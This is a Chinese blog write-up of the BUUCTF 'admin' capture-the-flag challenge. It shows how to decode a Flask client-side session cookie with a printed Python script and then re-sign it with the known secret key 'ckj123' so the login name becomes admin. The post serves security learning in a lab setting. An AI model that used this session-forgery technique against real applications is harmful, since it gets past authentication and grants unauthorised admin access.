buuctf-admin

博客内容涉及了对Flask Web应用框架的理解,特别是关于客户端Session的安全性。作者探讨了XSS攻击无效后,转向研究如何解密并伪造Flask Session来解题。文章包含了一段Python脚本,用于解密Session,并提到了通过修改Session内容实现权限伪造的可能性。
摘要由CSDN通过智能技术生成

打开靶机

注册后发现

点开后发现有一个留言板和一个修改密码的界面,还有一个没啥用的退出界面

既然看到了有留言板,试试xss

试了各种xss,发现没有用,估计后端代码对xss进行了处理

试试修改密码页面的情况,看下修改密码页面的源代码

 先来了解一下flask知识,通过网上查找

flask是一个使用 Python 编写的轻量级 Web 应用框架,其 session 存储在客户端中,也就是说其实只是将相关内容进行了加密保存到session中。和服务端的session不同,服务端的session保存在服务端中,依靠客户端cookie值中的sessionId来进行识别。本身sessionId是没有价值的,而客户端的session是可以被截取破解后得到有价值的原文

抓包看一下自己的session

我们可以利用flask session伪造来解题 ,从网上找到了一段python脚本解密session

#index.html
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
 
def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
 
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
 
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')
 
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')
 
    return session_json_serializer.loads(payload)
 
if __name__ == '__main__':
    s = "这里填入需要解密的session"
    print(decryption(s.encode()))

如果pycharm没安装flask,记得安装即可

.eJw9kEFrg0AQhf9K2XMOatOLkIOwGiLMSMtE2bmENDVZd10DJkHdkP9em0IO7zLv8T3m3cXu2NcXLeJrf6sXYtf8iPgu3r5FLEAmgSI1caUGlq1TlIxskkhR69BnFtdlg1XegMwcSAiL6sspYwflDxGT1uBtMOcnNmkIhi3LU4g-d-BzAy4dIco1yrJFqQZlZqZJPFJpWNol-NKATN_BWA8yb8Foh4SzWBfr7VjQZmCDmin561iJx0IcLv1xdz3bunu9UFA6Km8nNFnLtJkK2n5wBV6RDRWhRsoNyvkmYcIoXXKV6eJz9cQ1bn-qX6RDZ0M4_Tvd3s2G2HfT-eb1XLcQt0vdP7cTYSAev8ITcMM.YosQSQ.wl52H6kt_O2Mc-nGbYzIHYT7dyQ

解码后得到

从中的name后面可以看到这就是我们注册的名字,我们将name的名字修改为admin按理说应该可以达到伪造的效果

加解密脚本:解密脚本

py3 flask3.py encode -s ckj123 -t "{解密后修改的内容}"     //在cmd中启动

将session更改

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值